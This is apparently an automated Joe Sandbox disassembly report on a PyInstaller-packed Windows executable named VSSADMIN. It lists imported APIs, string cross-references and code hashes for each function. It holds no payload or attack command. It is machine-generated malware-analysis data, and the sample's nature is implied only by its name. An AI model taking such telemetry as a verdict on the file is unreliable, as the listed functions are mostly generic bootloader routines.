Failed to get address for PyImport_ImportModule, xrefs: 00007FF614C742B1
Failed to get address for Py_GetPath, xrefs: 00007FF614C740D1
PyImport_ExecCodeModule, xrefs: 00007FF614C7426D
PyUnicode_FromFormat, xrefs: 00007FF614C745DD
Failed to get address for Py_IgnoreEnvironmentFlag, xrefs: 00007FF614C73EC1
PyUnicode_DecodeFSDefault, xrefs: 00007FF614C7462D
Failed to get address for PySys_SetPath, xrefs: 00007FF614C74509
Py_SetProgramName, xrefs: 00007FF614C740DD
Py_DecRef, xrefs: 00007FF614C73FED
Failed to get address for PyErr_Print, xrefs: 00007FF614C741C1
Failed to get address for PyErr_Occurred, xrefs: 00007FF614C74199
PyErr_Clear, xrefs: 00007FF614C74155
PyErr_Occurred, xrefs: 00007FF614C7417D
Failed to get address for Py_SetPath, xrefs: 00007FF614C740A9
PyErr_Print, xrefs: 00007FF614C741A5
PyMem_RawFree, xrefs: 00007FF614C745B5
PyObject_Str, xrefs: 00007FF614C743FD
Failed to get address for Py_UnbufferedStdioFlag, xrefs: 00007FF614C73F89
Failed to get address for PyUnicode_FromFormat, xrefs: 00007FF614C745F9
Failed to get address for Py_DontWriteBytecodeFlag, xrefs: 00007FF614C73E38
Failed to get address for Py_SetProgramName, xrefs: 00007FF614C740F9
Failed to get address for PyErr_Fetch, xrefs: 00007FF614C741E9
PyUnicode_FromString, xrefs: 00007FF614C74565
PyUnicode_Join, xrefs: 00007FF614C7467D
Failed to get address for PyList_New, xrefs: 00007FF614C74301
Failed to get address for Py_SetPythonHome, xrefs: 00007FF614C74121
Py_FileSystemDefaultEncoding, xrefs: 00007FF614C73E5B
Py_IgnoreEnvironmentFlag, xrefs: 00007FF614C73EA5
Py_VerboseFlag, xrefs: 00007FF614C73F45
PyList_Append, xrefs: 00007FF614C742BD
PyErr_NormalizeException, xrefs: 00007FF614C7421D
Failed to get address for Py_OptimizeFlag, xrefs: 00007FF614C73F39
Failed to get address for PyErr_NormalizeException, xrefs: 00007FF614C74239
Py_BuildValue, xrefs: 00007FF614C73FC5
Failed to get address for PyRun_SimpleStringFlags, xrefs: 00007FF614C74441
PyLong_AsLong, xrefs: 00007FF614C7430D
PyRun_SimpleStringFlags, xrefs: 00007FF614C74425
PyUnicode_AsUTF8, xrefs: 00007FF614C74655
PyEval_EvalCode, xrefs: 00007FF614C74515
PyImport_AddModule, xrefs: 00007FF614C74245
PyModule_GetDict, xrefs: 00007FF614C74335
PySys_GetObject, xrefs: 00007FF614C7449D
Failed to get address for PySys_SetObject, xrefs: 00007FF614C744E1
Failed to get address for PyUnicode_DecodeFSDefault, xrefs: 00007FF614C74649
Failed to get address for PyDict_GetItemString, xrefs: 00007FF614C74149
PyUnicode_Replace, xrefs: 00007FF614C746A5
PyMarshal_ReadObjectFromString, xrefs: 00007FF614C7453D
PySys_SetObject, xrefs: 00007FF614C744C5
Failed to get address for PyModule_GetDict, xrefs: 00007FF614C74351
Failed to get address for PySys_GetObject, xrefs: 00007FF614C744B9
PyObject_GetAttrString, xrefs: 00007FF614C743D5
PySys_SetArgvEx, xrefs: 00007FF614C74475
Failed to get address for PyList_Append, xrefs: 00007FF614C742D9
Failed to get address for Py_BuildValue, xrefs: 00007FF614C73FE1
PyObject_CallFunctionObjArgs, xrefs: 00007FF614C74385
Py_Finalize, xrefs: 00007FF614C74015
Failed to get address for Py_DecRef, xrefs: 00007FF614C74009
Failed to get address for Py_NoSiteFlag, xrefs: 00007FF614C73EE9
Py_NoUserSiteDirectory, xrefs: 00007FF614C73EF5
Failed to get address for PyImport_ExecCodeModule, xrefs: 00007FF614C74289
Failed to get address for Py_IncRef, xrefs: 00007FF614C74059
Py_UTF8Mode, xrefs: 00007FF614C73F9D

Memory Dump Source

Source File: 00000000.00000002.246803948.00007FF614C71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF614C70000, based on PE: true

Associated: 00000000.00000002.246796360.00007FF614C70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246812561.00007FF614C9A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246836153.00007FF614CBE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff614c70000_VSSADMIN.jbxd

Similarity

API ID: AddressProc
String ID: Failed to get address for PyDict_GetItemString$Failed to get address for PyErr_Clear$Failed to get address for PyErr_Fetch$Failed to get address for PyErr_NormalizeException$Failed to get address for PyErr_Occurred$Failed to get address for PyErr_Print$Failed to get address for PyErr_Restore$Failed to get address for PyEval_EvalCode$Failed to get address for PyImport_AddModule$Failed to get address for PyImport_ExecCodeModule$Failed to get address for PyImport_ImportModule$Failed to get address for PyList_Append$Failed to get address for PyList_New$Failed to get address for PyLong_AsLong$Failed to get address for PyMarshal_ReadObjectFromString$Failed to get address for PyMem_RawFree$Failed to get address for PyModule_GetDict$Failed to get address for PyObject_CallFunction$Failed to get address for PyObject_CallFunctionObjArgs$Failed to get address for PyObject_GetAttrString$Failed to get address for PyObject_SetAttrString$Failed to get address for PyObject_Str$Failed to get address for PyRun_SimpleStringFlags$Failed to get address for PySys_AddWarnOption$Failed to get address for PySys_GetObject$Failed to get address for PySys_SetArgvEx$Failed to get address for PySys_SetObject$Failed to get address for PySys_SetPath$Failed to get address for PyUnicode_AsUTF8$Failed to get address for PyUnicode_Decode$Failed to get address for PyUnicode_DecodeFSDefault$Failed to get address for PyUnicode_FromFormat$Failed to get address for PyUnicode_FromString$Failed to get address for PyUnicode_Join$Failed to get address for PyUnicode_Replace$Failed to get address for Py_BuildValue$Failed to get address for Py_DecRef$Failed to get address for Py_DecodeLocale$Failed to get address for Py_DontWriteBytecodeFlag$Failed to get address for Py_FileSystemDefaultEncoding$Failed to get address for Py_Finalize$Failed to get address for Py_FrozenFlag$Failed to get address for Py_GetPath$Failed to get address for Py_IgnoreEnvironmentFlag$Failed to get address for Py_IncRef$Failed to get address for Py_Initialize$Failed to get address for Py_NoSiteFlag$Failed to get address for Py_NoUserSiteDirectory$Failed to get address for Py_OptimizeFlag$Failed to get address for Py_SetPath$Failed to get address for Py_SetProgramName$Failed to get address for Py_SetPythonHome$Failed to get address for Py_UTF8Mode$Failed to get address for Py_UnbufferedStdioFlag$Failed to get address for Py_VerboseFlag$GetProcAddress$PyDict_GetItemString$PyErr_Clear$PyErr_Fetch$PyErr_NormalizeException$PyErr_Occurred$PyErr_Print$PyErr_Restore$PyEval_EvalCode$PyImport_AddModule$PyImport_ExecCodeModule$PyImport_ImportModule$PyList_Append$PyList_New$PyLong_AsLong$PyMarshal_ReadObjectFromString$PyMem_RawFree$PyModule_GetDict$PyObject_CallFunction$PyObject_CallFunctionObjArgs$PyObject_GetAttrString$PyObject_SetAttrString$PyObject_Str$PyRun_SimpleStringFlags$PySys_AddWarnOption$PySys_GetObject$PySys_SetArgvEx$PySys_SetObject$PySys_SetPath$PyUnicode_AsUTF8$PyUnicode_Decode$PyUnicode_DecodeFSDefault$PyUnicode_FromFormat$PyUnicode_FromString$PyUnicode_Join$PyUnicode_Replace$Py_BuildValue$Py_DecRef$Py_DecodeLocale$Py_DontWriteBytecodeFlag$Py_FileSystemDefaultEncoding$Py_Finalize$Py_FrozenFlag$Py_GetPath$Py_IgnoreEnvironmentFlag$Py_IncRef$Py_Initialize$Py_NoSiteFlag$Py_NoUserSiteDirectory$Py_OptimizeFlag$Py_SetPath$Py_SetProgramName$Py_SetPythonHome$Py_UTF8Mode$Py_UnbufferedStdioFlag$Py_VerboseFlag
API String ID: 190572456-3109299426
Opcode ID: 9e5338f17e9a06305e3f6e0c00f43c9f2351ab77f2791f85b3366b77a8fa4fe8
Instruction ID: 820fcf5087af11d6701d077da3f7f76edcc49149595e5afffe47fb918676a7f8
Opcode Fuzzy Hash: 9e5338f17e9a06305e3f6e0c00f43c9f2351ab77f2791f85b3366b77a8fa4fe8
Instruction Fuzzy Hash: 46423564A0EF47B2EE558B08E9D117422B2BF46FB9B946037C40E87364FF7EA559C200

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF614C71B90 Relevance: 43.9, APIs: 20, Strings: 5, Instructions: 188windowCOMMON

Download Yara Rule

APIs

GetDialogBaseUnits.USER32 ref: 00007FF614C71BDE
MulDiv.KERNEL32 ref: 00007FF614C71BF2
MulDiv.KERNEL32 ref: 00007FF614C71C13
SystemParametersInfoW.USER32 ref: 00007FF614C71C5B
CreateFontIndirectW.GDI32 ref: 00007FF614C71C6F
#380.COMCTL32 ref: 00007FF614C71C93
CreateWindowExW.USER32 ref: 00007FF614C71CE6
CreateWindowExW.USER32 ref: 00007FF614C71D40
CreateWindowExW.USER32 ref: 00007FF614C71D9D
CreateWindowExW.USER32 ref: 00007FF614C71DFF
SendMessageW.USER32 ref: 00007FF614C71E1F
SendMessageW.USER32 ref: 00007FF614C71E39
SendMessageW.USER32 ref: 00007FF614C71E58
SendMessageW.USER32 ref: 00007FF614C71E77
SendMessageW.USER32 ref: 00007FF614C71E95
SendMessageW.USER32 ref: 00007FF614C71EB3
SendMessageW.USER32 ref: 00007FF614C71ED1
SendMessageW.USER32 ref: 00007FF614C71EE9
SendMessageW.USER32 ref: 00007FF614C71F01
GetClientRect.USER32 ref: 00007FF614C71F10

Part of subcall function 00007FF614C72030: GetDC.USER32 ref: 00007FF614C7205B
Part of subcall function 00007FF614C72030: SelectObject.GDI32 ref: 00007FF614C720A2
Part of subcall function 00007FF614C72030: DrawTextW.USER32 ref: 00007FF614C720C5
Part of subcall function 00007FF614C72030: SelectObject.GDI32 ref: 00007FF614C720DB
Part of subcall function 00007FF614C72030: ReleaseDC.USER32 ref: 00007FF614C720EB
Part of subcall function 00007FF614C72030: MoveWindow.USER32 ref: 00007FF614C7213B
Part of subcall function 00007FF614C72030: MoveWindow.USER32 ref: 00007FF614C7217B
Part of subcall function 00007FF614C72030: MoveWindow.USER32 ref: 00007FF614C721CE

Strings

EDIT, xrefs: 00007FF614C71D4B
Close, xrefs: 00007FF614C71DA8
BUTTON, xrefs: 00007FF614C71DB6
STATIC, xrefs: 00007FF614C71C9C, 00007FF614C71CF1
Failed to execute script '%ls' due to unhandled exception: %ls, xrefs: 00007FF614C71BBD

Memory Dump Source

Source File: 00000000.00000002.246803948.00007FF614C71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF614C70000, based on PE: true

Associated: 00000000.00000002.246796360.00007FF614C70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246812561.00007FF614C9A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246836153.00007FF614CBE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff614c70000_VSSADMIN.jbxd

Similarity

API ID: MessageSend$Window$Create$Move$ObjectSelect$#380BaseClientDialogDrawFontIndirectInfoParametersRectReleaseSystemTextUnits
String ID: BUTTON$Close$EDIT$Failed to execute script '%ls' due to unhandled exception: %ls$STATIC
API String ID: 2446303242-1601438679
Opcode ID: 459a4d17a5d9d63fd32af7de9d21940b0e91a324c601fae87eb48516cdd5ea8c
Instruction ID: 801b439429b27baf6ecd1df9797fe4a70b957b65cb2c3ca371bbec845ee868d9
Opcode Fuzzy Hash: 459a4d17a5d9d63fd32af7de9d21940b0e91a324c601fae87eb48516cdd5ea8c
Instruction Fuzzy Hash: 90A16A36218F8197E7148F26E58479AB370F789BA4F50412AEB8D43B24CF3EE165CB40

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF614C931FC Relevance: 24.0, APIs: 9, Strings: 4, Instructions: 1226COMMON

Download Yara Rule

APIs

fegetenv.LIBCMT ref: 00007FF614C9324A
_invalid_parameter_noinfo.LIBCMT ref: 00007FF614C938B6
_invalid_parameter_noinfo.LIBCMT ref: 00007FF614C93A2C
_invalid_parameter_noinfo.LIBCMT ref: 00007FF614C93CEA
_invalid_parameter_noinfo.LIBCMT ref: 00007FF614C93F0A
_invalid_parameter_noinfo.LIBCMT ref: 00007FF614C94147
memcpy_s.LIBCPMT ref: 00007FF614C94222
memcpy_s.LIBCPMT ref: 00007FF614C942CD
memcpy_s.LIBCPMT ref: 00007FF614C9439C

Strings

1#INF, xrefs: 00007FF614C93373
1#IND, xrefs: 00007FF614C93337
1#SNAN, xrefs: 00007FF614C9335A
1#QNAN, xrefs: 00007FF614C93363

Memory Dump Source

Source File: 00000000.00000002.246803948.00007FF614C71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF614C70000, based on PE: true

Associated: 00000000.00000002.246796360.00007FF614C70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246812561.00007FF614C9A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246836153.00007FF614CBE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff614c70000_VSSADMIN.jbxd

Similarity

API ID: _invalid_parameter_noinfo$memcpy_s$fegetenv
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 808467561-2761157908
Opcode ID: ccfbaf94e8ba692c66e947d25492209142ad6238170979dce7e9a2c25c803b1f
Instruction ID: fc8279f79a9a551023f1d5c2b5113e7b0bcae5d93e2a73def3c3cd29608f95ea
Opcode Fuzzy Hash: ccfbaf94e8ba692c66e947d25492209142ad6238170979dce7e9a2c25c803b1f
Instruction Fuzzy Hash: 51B2F672A18A829BE7258E64D4807FD77B1FB49B5CF406136DA0E97A94DF39E900CB40

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF614C774E0 Relevance: 15.8, APIs: 3, Strings: 6, Instructions: 52windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000000,00007FF614C7269E,?,?,?,?,?,?,?,?,?,?,?,00007FF614C7101D), ref: 00007FF614C77507
FormatMessageW.KERNEL32 ref: 00007FF614C77536
WideCharToMultiByte.KERNEL32 ref: 00007FF614C7758C

Part of subcall function 00007FF614C72620: GetLastError.KERNEL32(00000000,00000000,00000000,00007FF614C77774,?,?,?,?,?,?,?,?,?,?,?,00007FF614C7101D), ref: 00007FF614C72654
Part of subcall function 00007FF614C72620: MessageBoxW.USER32 ref: 00007FF614C72730

Strings

PyInstallem: FormatMessageW failed., xrefs: 00007FF614C77553
FormatMessageW, xrefs: 00007FF614C77547
PyInstallem: pyi_win32_utils_to_utf8 failed., xrefs: 00007FF614C775A9
No error messages generated., xrefs: 00007FF614C77540
Failed to encode wchar_t as UTF-8., xrefs: 00007FF614C77596
WideCharToMultiByte, xrefs: 00007FF614C7759D

Memory Dump Source

Source File: 00000000.00000002.246803948.00007FF614C71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF614C70000, based on PE: true

Associated: 00000000.00000002.246796360.00007FF614C70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246812561.00007FF614C9A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246836153.00007FF614CBE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff614c70000_VSSADMIN.jbxd

Similarity

API ID: ErrorLastMessage$ByteCharFormatMultiWide
String ID: Failed to encode wchar_t as UTF-8.$FormatMessageW$No error messages generated.$PyInstallem: FormatMessageW failed.$PyInstallem: pyi_win32_utils_to_utf8 failed.$WideCharToMultiByte
API String ID: 2920928814-3505189403
Opcode ID: 029f836fef8ee5472c7679535fa4ba659228b0cadb04ffc4aa2330943ac4ddf3
Instruction ID: 9e498f8d3759ac16d0be59944cde15ce73329b611ef7225304972c15ac2f5965
Opcode Fuzzy Hash: 029f836fef8ee5472c7679535fa4ba659228b0cadb04ffc4aa2330943ac4ddf3
Instruction Fuzzy Hash: DE217F31A0CE4792EB609B14E8C42B672B5FB4ABA9F844037E54EC36A4EF7DE505C700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF614C7B6CC Relevance: 10.6, APIs: 7, Instructions: 72COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00007FF614C7B6E8
RtlCaptureContext.KERNEL32 ref: 00007FF614C7B715
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF614C7B72F
RtlVirtualUnwind.KERNEL32 ref: 00007FF614C7B770
IsDebuggerPresent.KERNEL32 ref: 00007FF614C7B7C4
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF614C7B7E5
UnhandledExceptionFilter.KERNEL32 ref: 00007FF614C7B7F0

Memory Dump Source

Source File: 00000000.00000002.246803948.00007FF614C71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF614C70000, based on PE: true

Associated: 00000000.00000002.246796360.00007FF614C70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246812561.00007FF614C9A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246836153.00007FF614CBE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff614c70000_VSSADMIN.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: ed99729a06427ffe8919d80707f0d22f85e2a1f7f16501b693ecc562f35910ed
Instruction ID: f8043513b5143111166cb1be153dfde0e0a9889e6b983e9f6b1439ac5fa07e28
Opcode Fuzzy Hash: ed99729a06427ffe8919d80707f0d22f85e2a1f7f16501b693ecc562f35910ed
Instruction Fuzzy Hash: FD314D76608E8196EB608F64E8803E97371FB85B58F44403ADB4D87A98EF3DD648C710

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF614C89B14 Relevance: 9.1, APIs: 6, Instructions: 83COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlCaptureContext.KERNEL32 ref: 00007FF614C89B8D
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF614C89BA5
RtlVirtualUnwind.KERNEL32 ref: 00007FF614C89BE0
IsDebuggerPresent.KERNEL32 ref: 00007FF614C89C19
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF614C89C23
UnhandledExceptionFilter.KERNEL32 ref: 00007FF614C89C2E

Memory Dump Source

Source File: 00000000.00000002.246803948.00007FF614C71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF614C70000, based on PE: true

Associated: 00000000.00000002.246796360.00007FF614C70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246812561.00007FF614C9A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246836153.00007FF614CBE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff614c70000_VSSADMIN.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: be108ae6727a529d83f8885eb47159bd80851fd8c8093c6f980a4c1e93935562
Instruction ID: 0a12bd7df231abbe741c659f4b0952ab2586f86e3b7f15c9633988d0bca6aba2
Opcode Fuzzy Hash: be108ae6727a529d83f8885eb47159bd80851fd8c8093c6f980a4c1e93935562
Instruction Fuzzy Hash: 67314136618F8196DB64CB25E8802EE73B4FB85B68F500136EA9D83B95DF3DD545C700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF614C909E4 Relevance: 7.8, APIs: 5, Instructions: 282COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF614C90A30
FindFirstFileExW.KERNEL32 ref: 00007FF614C90B3A

Memory Dump Source

Source File: 00000000.00000002.246803948.00007FF614C71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF614C70000, based on PE: true

Associated: 00000000.00000002.246796360.00007FF614C70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246812561.00007FF614C9A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246836153.00007FF614CBE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff614c70000_VSSADMIN.jbxd

Similarity

API ID: FileFindFirst_invalid_parameter_noinfo
String ID:
API String ID: 2227656907-0
Opcode ID: 19aa5fc60aa927df0bce9d38497bbf586f0f8b4e80b2d1e9978e290f43184bb9
Instruction ID: 962ff6a41b4d55d3988710cef1e5ff54d8f6c494a582aed03bfcb54f23ff9a01
Opcode Fuzzy Hash: 19aa5fc60aa927df0bce9d38497bbf586f0f8b4e80b2d1e9978e290f43184bb9
Instruction Fuzzy Hash: FFB1B562B19E9651EA609B26D4806BA63B1EB46FF8F444133EE5D87B85DF3DE441C300

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF614C7B5B0 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FF614C7B5DC
GetCurrentThreadId.KERNEL32 ref: 00007FF614C7B5EA
GetCurrentProcessId.KERNEL32 ref: 00007FF614C7B5F6
QueryPerformanceCounter.KERNEL32 ref: 00007FF614C7B606

Memory Dump Source

Source File: 00000000.00000002.246803948.00007FF614C71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF614C70000, based on PE: true

Associated: 00000000.00000002.246796360.00007FF614C70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246812561.00007FF614C9A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246836153.00007FF614CBE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff614c70000_VSSADMIN.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 6f2ab88599309ed85d1430460dcf5b5c4b0e5279fe268d41b3c0937ed12eb80b
Instruction ID: 7f69d9357170e07e26837de23a0613233fc01596517e9ceb7176968b1c8b03d6
Opcode Fuzzy Hash: 6f2ab88599309ed85d1430460dcf5b5c4b0e5279fe268d41b3c0937ed12eb80b
Instruction Fuzzy Hash: D3113326B14F419AEF00CF64E8942B933B4FB19B68F440D32EA6D87764EF79D1958380

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF614C92D60 Relevance: 4.8, APIs: 3, Instructions: 340COMMON

Download Yara Rule

APIs

memcpy_s.LIBCPMT ref: 00007FF614C92DC6
memcpy_s.LIBCPMT ref: 00007FF614C92DF1

Memory Dump Source

Source File: 00000000.00000002.246803948.00007FF614C71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF614C70000, based on PE: true

Associated: 00000000.00000002.246796360.00007FF614C70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246812561.00007FF614C9A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246836153.00007FF614CBE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff614c70000_VSSADMIN.jbxd

Similarity

API ID: memcpy_s
String ID:
API String ID: 1502251526-0
Opcode ID: 723df14fe8405c9280d13974b9e0b256372cd2939c4def8ecbac686ef57d643c
Instruction ID: c27b1394e6e669b57e37106fe4829224cf80bbe4eb29b6194d7c41afc32d0927
Opcode Fuzzy Hash: 723df14fe8405c9280d13974b9e0b256372cd2939c4def8ecbac686ef57d643c
Instruction Fuzzy Hash: 7BC11672B18A8697D734CF15E08466AB7A1F789B98F049136DB4E83794DF3EE901CB00

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF614C98B98 Relevance: 3.2, APIs: 2, Instructions: 227COMMONLIBRARYCODE

Download Yara Rule

APIs

_clrfp.LIBCMT ref: 00007FF614C98DE7
RaiseException.KERNEL32 ref: 00007FF614C98DF8

Memory Dump Source

Source File: 00000000.00000002.246803948.00007FF614C71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF614C70000, based on PE: true

Associated: 00000000.00000002.246796360.00007FF614C70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246812561.00007FF614C9A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246836153.00007FF614CBE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff614c70000_VSSADMIN.jbxd

Similarity

API ID: ExceptionRaise_clrfp
String ID:
API String ID: 15204871-0
Opcode ID: 100244ad11a5ca47b3e63d731413f73159be8c16d425433171175cfe94e11ddb
Instruction ID: b8acbb6162d10366901cdd0d9b1533c4008b126081ed739b632de1c7b5791c06
Opcode Fuzzy Hash: 100244ad11a5ca47b3e63d731413f73159be8c16d425433171175cfe94e11ddb
Instruction Fuzzy Hash: 55B13577614B89CAEB158F29C8863693BB0F745F5CF188922DA5D837A4CF3AD451C710

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF614C77850 Relevance: 3.0, APIs: 2, Instructions: 29COMMON

Download Yara Rule

APIs

FindFirstFileExW.KERNEL32 ref: 00007FF614C77881
FindClose.KERNEL32 ref: 00007FF614C77890

Memory Dump Source

Source File: 00000000.00000002.246803948.00007FF614C71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF614C70000, based on PE: true

Associated: 00000000.00000002.246796360.00007FF614C70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246812561.00007FF614C9A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246836153.00007FF614CBE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff614c70000_VSSADMIN.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: 0e172d7ea5e890d92c6a2989d53da8e3c55f614dc17c23923d45aaf4937351c2
Instruction ID: 7a90dff0425b99d7fa43c8e9694379d4cdd68b11326e0157d5277d388f322468
Opcode Fuzzy Hash: 0e172d7ea5e890d92c6a2989d53da8e3c55f614dc17c23923d45aaf4937351c2
Instruction Fuzzy Hash: 31F08122A1DB8587EB608F64F4C47AA73A0BB85B35F044237D66D436E4DF3CE009CA00

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF614C82C34 Relevance: 2.8, Strings: 2, Instructions: 350COMMON

Download Yara Rule

Strings

, xrefs: 00007FF614C82FE4
, xrefs: 00007FF614C82DA2

Memory Dump Source

Source File: 00000000.00000002.246803948.00007FF614C71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF614C70000, based on PE: true

Associated: 00000000.00000002.246796360.00007FF614C70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246812561.00007FF614C9A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246836153.00007FF614CBE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff614c70000_VSSADMIN.jbxd

Similarity

API ID:
String ID: $
API String ID: 0-227171996
